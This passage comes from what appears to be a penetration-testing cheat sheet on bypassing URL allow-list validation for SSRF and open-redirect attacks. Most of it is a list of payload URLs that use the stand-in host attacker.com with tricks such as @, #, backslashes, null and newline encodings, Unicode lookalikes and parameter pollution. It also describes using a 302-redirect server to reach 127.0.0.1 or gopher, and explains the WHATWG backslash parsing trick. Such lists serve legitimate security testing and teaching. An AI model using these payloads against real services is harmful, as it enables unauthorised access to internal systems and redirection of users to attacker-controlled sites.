# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
Paths and Extensions Bypass
If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:
The tool recollapse can generate variations from a given input to try to bypass the used regex. Check this post also for more information.
Automatic Custom Wordlists
Check out the URL validation bypass cheat sheet webapp from portswigger were you can introduce the allowed host and the attacekrs one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
Bypass via redirect
It might be possible that the server is filtering the original request of a SSRF but not a possible redirect response to that request.
For example, a server vulnerable to SSRF via: url=https://www.google.com/ might be filtering the url param. But if you uses a python server to respond with a 302 to the place where you want to redirect, you might be able to access filtered IP addresses like 127.0.0.1 or even filtered protocols like gopher.
Check out this report.
The backslash-trick exploits a difference between the WHATWG URL Standard and RFC3986. While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (\) as equivalent to the forward slash (/), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.